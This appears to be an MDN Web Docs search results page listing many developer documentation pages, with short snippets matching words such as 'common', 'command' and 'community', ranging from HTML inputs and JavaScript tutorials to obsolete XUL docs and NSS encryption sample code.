...y">enter a date and time for your party booking:</label> <input id="party" type="datetime-local" name="partydate" value="2017-06-01t08:30"> one thing to note is that the displayed date and time formats differ from the actual value; the displayed date and time are formatted according to the user's locale as reported by their operating system, whereas the date/time value is always formatted yyyy-mm-ddthh:mm.
... additional attributes in addition to the attributes common to all <input> elements, datetime-local inputs offer the following attributes: attribute description max the latest date and time to accept min the earliest date and time to accept step the stepping interval to use for this input, such as when clicking arrows on spinner controls or performing validation max the latest date and time to...
...And 9 more matches
href - SVG: Scalable Vector Graphics
WebSVGAttributehref
if the href attribute or the deprecated xlink:href attribute is not provided, then the target element will be the immediate parent element of the current animation element.
... if the href attribute is not provided, then the target element will be the immediate parent element of the <discard> element.
... value <url> default value none animatable yes specifications specification status comment scalable vector graphics (svg) 2the definition of 'href for <a>' in that specification.
...And 9 more matches
Understanding WebAssembly text format - WebAssembly
unlike the abstract syntax tree of a programming language, though, webassembly’s tree is pretty flat, mostly consisting of lists of instructions.
... the local.get/local.set commands refer to the item to be got/set by its numeric index: parameters are referred to first, in order of their declaration, followed by locals in order of their declaration.
...that’s literally all that asm.js has to play with (except that it isn't resizable; see the asm.js programming model).
...And 9 more matches
Module structure of the SDK - Archive of obsolete content
commonjs is the underlying infrastructure for both the sdk and the add-ons you build using the sdk.
... a commonjs module is a piece of reusable javascript: it exports certain objects which are thus made available to dependent code.
... commonjs defines: an object called exports which contains all the objects which a commonjs module wants to make available to other modules a function called require which a module can use to import the exports object of another module.
...And 8 more matches
Miscellaneous - Archive of obsolete content
s "firefox" for firefox services.appinfo.version; // returns "2.0.0.1" for firefox version 2.0.0.1 retrieving the version of an extension as specified in the extension's install.rdf components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getaddonbyid("extension-guid@example.org", function(addon) { // this is an asynchronous callback function that might not be called immediately alert("my extension's version is " + addon.version); }); restarting firefox/thunderbird/seamonkey_2.0 for firefox 3 see onwizardfinish around here: http://mxr.mozilla.org/seamonkey/sou...pdates.js#1639 for firefox 2 see around here: http://mxr.mozilla.org/mozilla1.8/so...pdates.js#1631 bug 338039 tracks improving this situation by providing a simple method to restart the applicat...
... example for firefox: services.startup.quit(services.startup.eforcequit|services.startup.erestart); mouse and keyboard detecting mouse wheel events when scrolling the mouse wheel on an element, the dommousescroll event fires.
...</div> <script type="text/javascript"> var elm = document.getelementbyid("scrollarea"); elm.addeventlistener("dommousescroll", function scroll(event){ //event.detail is positive for a downward scroll, negative for an upward scroll alert("scrolling " + event.detail + " lines"); }, false); </script> if you do not receive a dommousescroll event while holding any of the modifier keys (ctrl,shift,alt,meta) you should check the mousewheel.withcontrolkey.action and related preferences.
...And 8 more matches
Local Storage - Archive of obsolete content
it is very common for an extension to require some kind of local persistent storage.
... we recommend that you at least keep an error log, so that you can request error data from your users when you encounter problems that are hard to debug.
... we'll discuss logging in this section, but first let's look at the right (or at least, common and scalable) way of managing local files.
...And 8 more matches
Tamarin build documentation - Archive of obsolete content
use the following command to create a copy of the tamarin repository: $ hg clone http://hg.mozilla.org/tamarin-central tamarin-central tips for working with mercurial can be found here.
... building tamarin building tamarin will create all the libraries for the avmplus and garbage collector (mmgc), and create a standalone executable (shell) for executing files in the abc file format.
...note that additional command-line arguments are only available in the debug configuration.
...And 8 more matches
Using Breakpoints in Venkman - Archive of obsolete content
the first, and most common, is called the "hard" breakpoint.
...the most common use of future breakpoints is to stop in a "top level" script (script that executes outside of any function), or script that executes during the onload event of a page.
... early return from caller with result will cause the function that the breakpoint is set in to return the value of the breakpoint script as its result, immediatley after the breakpoint script completes.
...And 8 more matches
A XUL Bestiary - Archive of obsolete content
in the example above, the chrome is simply a skin file to be loaded into the xul file, but the chrome can also be used to load whole chromes, as when a <menuitem> in one window brings up a new chrome: <menuitem value="mozilla help" oncommand="window.opendialog('chrome://help/content/help.xul', '_blank', 'chrome,all,dialog=no')" /> in this example, the chrome url is being used to point to a chrome within the package hierarchy of the mozilla application.
...when you invoke mozilla from the command line with the -chrome flag, you can specify a chrome just as you would in the previous example: mozilla -chrome chrome://help/content/help.xul brings up the help package mentioned in the previous example as a "stand-alone" chrome.
...there are, unfortunately, different document object models corresponding to different types of documents and also to different proprietary notions about what in a document should be exposed programmatically.
...And 8 more matches
XUL accessibility guidelines - Archive of obsolete content
by following these principles and practices, you will be able to write your xul applications in such a way that all users, including those with physical, sensory, or communicative disabilities, with be able to use and enjoy them.
... accessibility is not difficult, but does require a basic understanding of the different types of disabilities, commonly used assistive technologies, and special accessibility features built into the xul languages.
...in addition, there is an active community of accessibility developers within the mozilla project that will be happy to help you with any concerns or questions you have in regards to making your xul applications fully accessible.
...And 8 more matches
XULRunner 2.0 Release Notes - Archive of obsolete content
windows unpack the zip file to a new directory using an archive tool (7zip is recommended).
... the following directory is recommended: c:\program files\mozilla xulrunner\2.0 .
... to register xulrunner with the system, open a command prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only).
...And 8 more matches
What is a web server? - Learn web development
summary the term web server can refer to hardware or software, or both of them working together.
... a dynamic web server consists of a static web server plus extra software, most commonly an application server and a database.
... communicating through http second, a web server provides support for http (hypertext transfer protocol).
...And 8 more matches
Getting started with HTML - Learn web development
html (hypertext markup language) is not a programming language.
...failing to include a closing tag is a common beginner error that can produce peculiar results.
...one reason html5 dropped these terms was to prevent this rather common confusion.
...And 8 more matches
Introduction to events - Learn web development
previous overview: building blocks next events are actions or occurrences that happen in the system you are programming, which the system tells you about so you can respond to them in some way if desired.
... objective: to understand the fundamental theory of events, how they work in browsers, and how events may differ in different programming environments.
... a series of fortunate events as mentioned above, events are actions or occurrences that happen in the system you are programming — the system produces (or "fires") a signal of some kind when an event occurs, and provides a mechanism by which an action can be automatically taken (that is, some code running) when the event occurs.
...And 8 more matches
A first splash into JavaScript - Learn web development
you won't be expected to understand all of the code in detail immediately — we just want to introduce you to the high-level concepts for now, and give you an idea of how javascript (and other programming languages) work.
... note: many of the code features you'll see in javascript are the same as in other programming languages — functions, loops, etc.
... thinking like a programmer one of the hardest things to learn in programming is not the syntax you need to learn, but how to apply it to solve real world problems.
...And 8 more matches
Ember resources and troubleshooting - Learn web development
prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line.
... further resources ember.js guides tutorial: super rentals ember.js api documentation ember.js discord server — a forum/chat server where you can meet the ember community, ask for help, and help others!
...while ember-data solves the most common problems that any app dealing with data will run in to, it is possible to roll your own front-end data client.
...And 8 more matches
Debugging on Windows
if you have followed the steps in building firefox for windows and have a local debug build, you can execute ./mach run --debug from the same command line.
... command line parameters and environment variables vc++ 6.0: to change or set the command line options, go to project > settings..., debug tab and select general from the drop down list.
... some common options would be the url of the file you want the browser to open as soon as it starts, starting the profile manager, or selecting a profile.
...And 8 more matches
Contributing to the Mozilla code base
the mozilla community prides itself on being an open, accessible, and friendly community for new participants.
...otlin contribute to firefox preview firefox for ios swift contribute to firefox for ios firefox focus for ios swift contribute to firefox focus for ios mozilla hubs javascript and/or html/css, vr contribute to mozilla hubs servo rust contribute to servo there are even many ways to contribute to the mozilla mission without programming.
... if getting involved in design, support, translation, testing, or other types of contributions sparks your interest please see community webiste.
...And 8 more matches
Multiple Firefox profiles
the release channel is recommended for most users, as it is the "official release" channel.
... linux if firefox is already included in your linux distribution, or if you have installed firefox with the package manager of your linux distribution: open a terminal emulator or your shell’s command prompt: alt-f2 if you use gnome shell or kde plasma, consult your desktop environment documentation for other environments.
... for example, if firefox is installed in the recommended location, you would enter /applications/firefox.app/contents/macos/firefox.
...And 8 more matches
Index
found 42 pages: # page tags and summary 1 localization at mozilla landing, localization, mozilla, translation, l10n localization (l10n) is the process of translating software user interfaces from one language to another and adapting it to suit a foreign culture.
... 9 localization content best practices apps, extensions, internationalization, localization, mozilla, l10n, l12y this document provides best practices for developers to create localizable code, and describes how to avoid some localizability (l12y) common mistakes.
... 10 localization notes guide, internationalization, localization, mozilla localizers usually work on the localizable files without the context of the source files including the localized strings; it is important to add comments to the localizable files themselves, too.
...And 8 more matches
Encrypt Decrypt MAC Keys As Session Objects
r "-----end mackey ckaid-----" #define iv_header "-----begin iv-----" #define iv_trailer "-----end iv-----" #define mac_header "-----begin mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" typedef enum { encrypt, decrypt, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4 } headertype; /* * print usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s -c -d [-z ] " "[-p | -f ] -i -o \n\n", progname); fprintf(stderr, "%-20s specify 'a' for encrypt operation\n\n", "-c "); ...
.../* * gather a cka_id */ secstatus gathercka_id(pk11symkey* key, secitem* buf) { secstatus rv = pk11_readrawattribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readrawattribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a symmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", ...
... pk11_gettokenname(slot)); return null; } } /* generate the symmetric key */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "com...
...And 8 more matches
Encrypt and decrypt MAC using token
r "-----end mackey ckaid-----" #define iv_header "-----begin iv-----" #define iv_trailer "-----end iv-----" #define mac_header "-----begin mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" typedef enum { encrypt, decrypt, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4 } headertype; /* * print usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s -c -d [-z ] " "[-p | -f ] -i -o \n\n", progname); fprintf(stderr, "%-20s specify 'a' for encrypt operation\n\n", "-c "); ...
.../* * gather a cka_id */ secstatus gathercka_id(pk11symkey* key, secitem* buf) { secstatus rv = pk11_readrawattribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readrawattribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a symmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", ...
... pk11_gettokenname(slot)); return null; } } /* generate the symmetric key */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "com...
...And 8 more matches
NSS Sample Code Sample_3_Basic Encryption and MACing
r "-----end mackey ckaid-----" #define iv_header "-----begin iv-----" #define iv_trailer "-----end iv-----" #define mac_header "-----begin mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" typedef enum { encrypt, decrypt, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4 } headertype; /* print a usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s -c <a|b> -d <dbdirpath> [-z <noisefilename>] " "[-p <dbpwd> | -f <dbpwdfile>] -i <ipfilename> -o <opfilename>\n\n", progname); fprintf(stderr, "...
.../* * gather a cka_id */ secstatus gathercka_id(pk11symkey* key, secitem* buf) { secstatus rv = pk11_readrawattribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readrawattribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a symmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", ...
... pk11_gettokenname(slot)); return null; } } /* generate the symmetric key */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "com...
...And 8 more matches
Rhino shell
the javascript shell provides a simple way to run scripts in batch mode or an interactive environment for exploratory programming.
... arguments the arguments object is an array containing the strings of all the arguments given at the command line when the shell was invoked.
... history displays the shell command history.
...And 8 more matches
nsIMsgHeaderParser
nsimsgheaderparser defined in comm-central/ mailnews/ mime/ public/ nsimsgheaderparser.idl mailnews/mime/public/nsimsgheaderparser.idlscriptable ???
...ateaddresses(in string addrs, in string other_addrs, in prbool removealiasestome, out string newaddress); string unquotephraseoraddr(in string line, in boolean preserveintegrity); wstring unquotephraseoraddrwstring(in wstring line, in boolean preserveintegrity); methods extractheaderaddressmailboxes() given a string which contains a list of header addresses, returns a comma-separated list of just the 'mailbox' portions.
... return value a comma-separated list of just the mailbox parts of the addresses.
...And 8 more matches
WebIDL bindings
if you do need to hook up cycle collection, it will look like this in the common case of also inheriting from nsisupports: // add strong pointers your class holds here.
... note that using a 'headerfile' annotation is generally not recommended.
... values other than everything, when used in combination with [affects=nothing], can used by the jit to perform loop-hoisting and common subexpression elimination on the return values of idl attributes and methods.
...And 8 more matches
Making content editable - Developer guides
</div> here's the above html in action: executing commands when an html element has contenteditable set to true, the document.execcommand() method is made available.
... this lets you run commands to manipulate the contents of the editable region.
... most commands affect the document's selection by, for example, applying a style to the text (bold, italics, etc), while others insert new elements (like adding a link) or affect an entire line (indenting).
...And 8 more matches
Index - Developer guides
WebGuideIndex
found 43 pages: # page tags and summary 1 developer guides api, guide, landing, web these articles provide how-to information to help make use of specific web technologies and apis.
... 2 ajax ajax, dom, json, javascript, references, xmlhttprequest asynchronous javascript and xml, while not a technology in itself, is a term coined in 2005 by jesse james garrett, that describes a "new" approach to using a number of existing technologies together 3 community ajax if you know of useful mailing lists, newsgroups, forums, or other communities related to ajax, please link to them here.
... basic guide to creating a cross-browser html5 audio player with all the associated attributes, properties, and events explained a guide to custom controls created using the media api 10 live streaming web audio and video guide, adaptive streaming live streaming technology is often employed to relay live events such as sports, concerts and more generally tv and radio programmes that are output live.
...And 8 more matches
<input type="date"> - HTML: Hypertext Markup Language
WebHTMLElementinputdate
among browsers with custom interfaces for selecting dates are chrome and opera, whose data control looks like so: the edge date control looks like: and the firefox date control looks like this: value a domstring representing a date in yyyy-mm-dd format, or empty events change and input supported common attributes autocomplete, list, readonly, and step idl attributes list, value, valueasdate, valueasnumber.
... you can set a default value for the input with a date inside the value attribute, like so: <input type="date" value="2017-06-01"> the displayed date format will differ from the actual value — the displayed date is formatted based on the locale of the user's browser, but the parsed value is always formatted yyyy-mm-dd.
... additional attributes along with the attributes common to all <input> elements, date inputs have the following attributes: attribute description max the latest acceptable date min the earliest acceptable date step the stepping interval, when clicking up and down spinner buttons and validating the date max the latest date to accept.
...And 8 more matches
MIME types (IANA media types) - HTTP
other common examples include application/pdf, application/pkcs8, and application/zip.
...common examples include font/woff, font/ttf, and font/otf.
...common examples are image/jpeg, image/png, and image/svg+xml.
...And 8 more matches
Using Promises - JavaScript
chaining a common need is to execute two or more asynchronous operations back to back, where each subsequent operation starts when the previous operation succeeds, with the result from the previous step.
...this is very much modeled after how synchronous code works: try { const result = syncdosomething(); const newresult = syncdosomethingelse(result); const finalresult = syncdothirdthing(newresult); console.log(`got the final result: ${finalresult}`); } catch(error) { failurecallback(error); } this symmetry with asynchronous code culminates in the async/await syntactic sugar in ecmascript 2017: async function foo() { try { const result = await dosomething(); const newresult = await dosomethingelse(result); const finalresult = await dothirdthing(newresult); console.log(`got the final result: ${finalresult}`); } catch(error) { failurecallback(error); } } it builds on p...
... promises solve a fundamental flaw with the callback pyramid of doom, by catching all errors, even thrown exceptions and programming errors.
...And 8 more matches
Image file type and format guide - Web media technologies
common image file types there are many image file formats in the world.
... however, the ones listed below are generally recognized as usable on the web, though bmp is generally not recommended as browser support is potentially constrained; it should usually be avoided for web content.
...they're also commonly used for the animated portions of web browsers' user interfaces.
...And 8 more matches
Content type - SVG: Scalable Vector Graphics
the grammar for clock values is repeated here: clock-val ::= full-clock-val | partial-clock-val | timecount-val full-clock-val ::= hours ":" minutes ":" seconds ("." fraction)?
... the format of an rgb value in hexadecimal notation is a "#" immediately followed by either three or six hexadecimal characters.
...the format of an rgb value in the functional notation is an rgb start-function, followed by a comma-separated list of three numerical values (either three integer values or three percentage values) followed by ")".
...And 8 more matches
Getting Started (jpm) - Archive of obsolete content
the add-on sdk includes a command-line tool that you use to initialize, run, test, and package add-ons.
... the command-line jpm tool.
...once you've done that, you'll be looking at a command prompt.
...And 7 more matches
JavaScript Daemons Management - Archive of obsolete content
in the javascript programming language, daemons are all processes created by javascript timers or by a worker instantiation.
...so the minidaemon framework will remain the recommended way for simple animations, because daemon without its collection of methods is essentially a clone of it.
... about the “callback arguments” polyfill in order to make this framework compatible with internet explorer (which doesn't support sending additional parameters to timers' callback function, neither with settimeout() or setinterval()) we included the ie-specific compatibility code (commented code), which enables the html5 standard parameters' passage functionality in that browser for both timers (polyfill), at the end of the daemon.js module.
...And 7 more matches
Running Tamarin performance tests - Archive of obsolete content
performance test options there are a variety of options available with runtests.py - here is the help text followed by explanations for some options: $ ./runtests.py -h usage: runtests.py [options] [tests] -v --verbose enable additional output -e --avm avmplus command to use -a --asc compiler to use -g --globalabc deprecated but still works - use builtin.abc (used to be location of global.abc) -b --builtinabc location of builtin.abc -s --shellabc location of shell_toplevel.abc -x --exclude comma separated list of directories to skip -h --help display help and exit -t --notime do not generate timestamps (cleaner di...
...ffs) -f --forcerebuild force rebuild all test files -c --config sets the config string [default os-tvm] -q --quiet display minimum output during testrun -l --log also log all output to given logfile --summaryonly only display final summary --rebuildtests rebuild the tests only - do not run against vm --showtimes shows the time for each test --ascargs args to pass to asc on rebuild of test files --vmargs args to pass to vm --timeout max time to run all tests --testtimeout max time to let a test run, in sec (default -1 = never timeout) --html also create an html output file --notimecheck do not recompile .abc if timestamp is older than .as --java location of java executable (defaul...
...t=java) --javaargs arguments to pass to java --random run tests in random order --seed explicitly specify random seed for --random -s --avm2 second avmplus command to use --avmname nickname for avm to use as column header --avm2name nickname for avm2 to use as column header --detail display results in 'old-style' format --raw output all raw test values -i --iterations number of times to repeat test -l --log logs results to a file -k --socketlog logs results to a socket server -r --runtime name of the runtime vm used, including switch info eg.
...And 7 more matches
Focus and Selection - Archive of obsolete content
getting the currently focused element the currently focused element is held by an object called a command dispatcher, of which there is only one for the window.
... the command dispatcher is responsible for keeping track of the focused element as the user uses the interface.
... the command dispatcher has other roles, which will be discussed in a later section on commands.
...And 7 more matches
Modifying a XUL Interface - Archive of obsolete content
for example, the following will add a button to a xul window: example 1 : source view <script> function addbutton(){ var abox = document.getelementbyid("abox"); var button = document.createelement("button"); button.setattribute("label","a new button"); abox.appendchild(button); } </script> <box id="abox" width="200"> <button label="add" oncommand="addbutton();"/> </box> this example has two parts a box container element in xul.
... the button element has two attributes "label" and "oncommand" a javascript function named "addbutton()" this script first gets a reference to the box with getelementbyid(), which is the container to add a new button to.
... the function getelementbyid() does not know that the box it is looking for happens to be containing the tag that has the oncommand attribute that referenced it.
...And 7 more matches
XULRunner 1.8.0.4 Release Notes - Archive of obsolete content
installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using an archive tool (7zip is recommended).
... the following directory is recommended: c:\program files\mozilla xulrunner\1.8.0.4 .
... to register xulrunner with the system, open a command prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only).
...And 7 more matches
XULRunner 1.9.1 Release Notes - Archive of obsolete content
installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using an archive tool (7zip is recommended).
... the following directory is recommended: c:\program files\mozilla xulrunner\1.9.1 .
... to register xulrunner with the system, open a command prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only).
...And 7 more matches
XULRunner 1.9.2 Release Notes - Archive of obsolete content
installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using an archive tool (7zip is recommended).
... the following directory is recommended: c:\program files\mozilla xulrunner\1.9.2 .
... to register xulrunner with the system, open a command prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only).
...And 7 more matches
XULRunner 1.9 Release Notes - Archive of obsolete content
installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using an archive tool (7zip is recommended).
... the following directory is recommended: c:\program files\mozilla xulrunner\1.9 .
... to register xulrunner with the system, open a command prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only).
...And 7 more matches
Windows and menus in XULRunner - Archive of obsolete content
this time i want to add some of the things common to a desktop application user interface: windows and dialogs menus and toolbars os common dialogs controls or widgets windows each window or dialog should be created in its own xul file.
... menus and toolbars most desktop applications are complex enough to require some sort of menu and/or toolbar to structure the application’s available commands.
...app/skin/main.css" type="text/css"?> <!doctype window system "chrome://basicapp/locale/main.dtd"> <window id="main" title="&title;" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script src="main.js"/> <toolbox> <menubar id="menubar"> <menu id="file-menu" label="&file;"> <menupopup id="file-popup"> <menuitem label="&file.new;" oncommand="dofilenew();"/> <menuitem label="&file.open;" oncommand="dofileopen();"/> <menuitem label="&file.save;" oncommand="dofilesave();"/> <menuseparator/> <menuitem label="&file.exit;" oncommand="dofileexit();"/> </menupopup> </menu> <menu id="edit-menu" label="&edit;"> <menupopup id="edit-popup"> <menuitem label="&edit.u...
...And 7 more matches
SSL and TLS - Archive of obsolete content
the secure sockets layer (ssl) and transport layer security (tls) protocols are universally accepted standards for authenticated and encrypted communication between clients and servers.
... ssl/tls uses a combination of public key and symmetric-key encryption.
... symmetric-key encryption is much faster than public-key encryption, but public-key encryption provides better authentication techniques.
...And 7 more matches
The Business Benefits of Web Standards - Archive of obsolete content
the blogging community are particularly dynamic in this respect where on many platforms including wordpress, textpattern and habari, the site theme is a complete and discrete entity in its own right.
... assumptions about the user and their platform based on erroneous thinking about the anticipated user community are inevitably always wrong.
...one of the most important features of a successful site is constantly evolving relevant content which in turn can act as fuel for social media dialogue with the user community.
...And 7 more matches
Index - Game development
found 74 pages: # page tags and summary 1 game development apps, game development, gamedev, games, html5 games, javascript games, web gaming is one of the most popular computer activities.
... 4 index meta found 74 pages: 5 introduction to html5 game development (summary) firefox os, games, html5, mobile games built with html5 work on smartphones, tablets, pcs and smart tvs.update your game whenever you want.players can play the game anywhere, anytime.
... 6 introduction to game development for the web firefox os, games, guide, mobile no summary!
...And 7 more matches
How CSS is structured - Learn web development
this is the most common and useful method of bringing css to a document.
... there are a few circumstances where inline styles are more common.
...for example, @import imports a stylesheet into another css stylesheet: @import 'styles2.css'; one common @rule that you are likely to encounter is @media, which is used to create media queries.
...And 7 more matches
Styling links - Learn web development
previous overview: styling text next when styling links, it is important to understand how to make use of pseudo-classes to style link states effectively, and how to style links for use in common varied interface features such as navigation menus and tabs.
... objective: to learn how to style link states, and how to use links effectively in common ui features like navigation menus.
... focus: a link when it has been focused (for example moved to by a keyboard user using the tab key or similar, or programmatically focused using htmlelement.focus()) — this is styled using the :focus pseudo class.
...And 7 more matches
Basic native form controls - Learn web development
previous overview: forms next in the previous article, we marked up a functional web form example, introducing some form controls and common structural elements, and focusing on accessibility best practices.
...this article covers: the common input types button, checkbox, file, hidden, image, password, radio, reset, submit, and text.
... some of the attributes that are common to all form controls.
...And 7 more matches
Sending form data - Learn web development
prerequisites: basic computer literacy, an understanding of html, and basic knowledge of http and server-side programming.
... client/server architecture at it's most basic, the web uses a client/server architecture that can be summarized as follows.
... note: to get a better idea of how client-server architectures work, read our server-side website programming first steps module.
...And 7 more matches
Basic math in JavaScript — numbers and operators - Learn web development
types of numbers in programming, even the humble decimal number system that we all know so well is more complicated than you might think.
... the second bit of good news is that unlike some other programming languages, javascript only has one data type for numbers, both integers and decimals — you guessed it, number.
...enter the commands listed below into your developer tools javascript console.
...And 7 more matches
JavaScript object basics - Learn web development
objective: to understand the basic theory behind object-oriented programming, how this relates to javascript ("most things are objects"), and how to start working with javascript objects.
...while working with this example you should have your developer tools javascript console open and ready to type in some commands.
...the live version will give you a blank screen, but that's ok — again, open your devtools and try typing in the above commands to see the object structure.
...And 7 more matches
Focus management with Vue refs - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
...because vue is trying to optimize and batch changes, it won't immediately update the dom when we set isediting to false.
...this article from the digital ocean community blog dives into the lifecycle methods more deeply.
...And 7 more matches
Learn web development
get started where to start complete beginner: if you are a complete beginner to web development, we'd recommend that you start by working through our getting started with the web module, which provides a practical introduction to web development.
... frameworks and tooling: after mastering the essentials of vanilla html, css, and javascript, you should learn about client-side web development tools, and then consider digging into client-side javascript frameworks, and server-side website programming.
...besides, if you have a specific question about web development, our common questions section may have something to help you.
...And 7 more matches
Creating a Language Pack
windows: replace make with mozmake in the commands below!
... while in that directory, issue the following command: $ make merge-x-testing locale_mergedir=$(pwd)/mergedir x-testing: browser chrome browser aboutcerterror.dtd // add and localize this file ...
... x-testing: changed: 6 missinginfiles: 6124 missing: 5 0% of entries changed this step is not necessary anymore to create the language pack, because it is included in the next command.
...And 7 more matches
Sqlite.jsm
javascript programmers should feel right at home using sqlite.jsm.
... executecached() is recommended for statements that will be executed many times.
... execute() is recommended for statements that will be executed seldomly or once.
...And 7 more matches
Initial setup
here's what you do: look through the existing localization community directory to see if one already exists for your locale.
... if a community already exists, reach out to them and ask how you can help.
... if a community doesn't exist, send an email to the new-locales newsgroup for additional guidance.
...And 7 more matches
Localization Use Cases
german, finnish, hungarian, all slavic languages), the about preposition governs the grammatical case of the complement.
... about-browser=o brskalniku {{browserbrandshortname}} solution in l20n, this problem can be easily solved by defining multiple variants of the browserbrandshortname entity, to match different grammatical cases of the noun.
...rowserbrandshortname as: <browserbrandshortname{ nominative: "firefox", genitive: "firefoxa", dative: "firefoxu", accusative: "firefox", locative: "firefoxu", instrumental:"firefoxom" }> and in shared/branding/unofficial/branding, we can define browserbrandshortname as follows, to mean web browser: now, coming back to apps/browser/locales/browser, we can take advantage of the grammatical cases.
...And 7 more matches
PKCS11 FAQ
MozillaProjectsNSSPKCS11FAQ
not doing so is a common source of problems.
...for example, one does all the hashing/symmetric operations, while another does only asymmetric rsa operations.
...for example, if the rsa slot unwraps a key, nss needs to move that key to a slot that can do the symmetric operations.
...And 7 more matches
sslintro.html
upgraded documentation may be found in the current nss reference overview of an ssl application chapter 1 overview of an ssl application ssl and related apis allow compliant applications to configure sockets for authenticated, tamper-proof, and encrypted communications.
... an ssl application typically includes five parts: initialization configuration communication functions used by callbacks cleanup although the details differ somewhat for client and server applications, the concepts and many of the functions are the same for both.
... communication at this point the application has set up the socket to communicate using ssl.
...And 7 more matches
Garbage collection
a chunk is 1mb and contains arenas, padding, the mark bitmap (chunkbitmap), a bitmap of decommitted arenas, and a chunk header (chunkinfo).
...if so, the engine must immediately restart a full, non-incremental gc in order to reclaim some memory and continue execution.
... the spidermonkey incremental write barrier spidermonkey uses a (relatively!) simple, common incremental write barrier called a snapshot-at-the-beginning allocate-black barrier.
...And 7 more matches
Introduction to the JavaScript shell
the javascript shell (js) is a command-line program included in the spidermonkey source distribution.
...you can also pass in, on the command line, a javascript program file to run, in which case the program is run automatically.
... after following the build documentation and installing the built shell using make install, you can run the shell in interactive mode using the command: js [ if you get " symbol lookup error: ./js: undefined symbol: pr_setcurrentthreadname" e.g.
...And 7 more matches
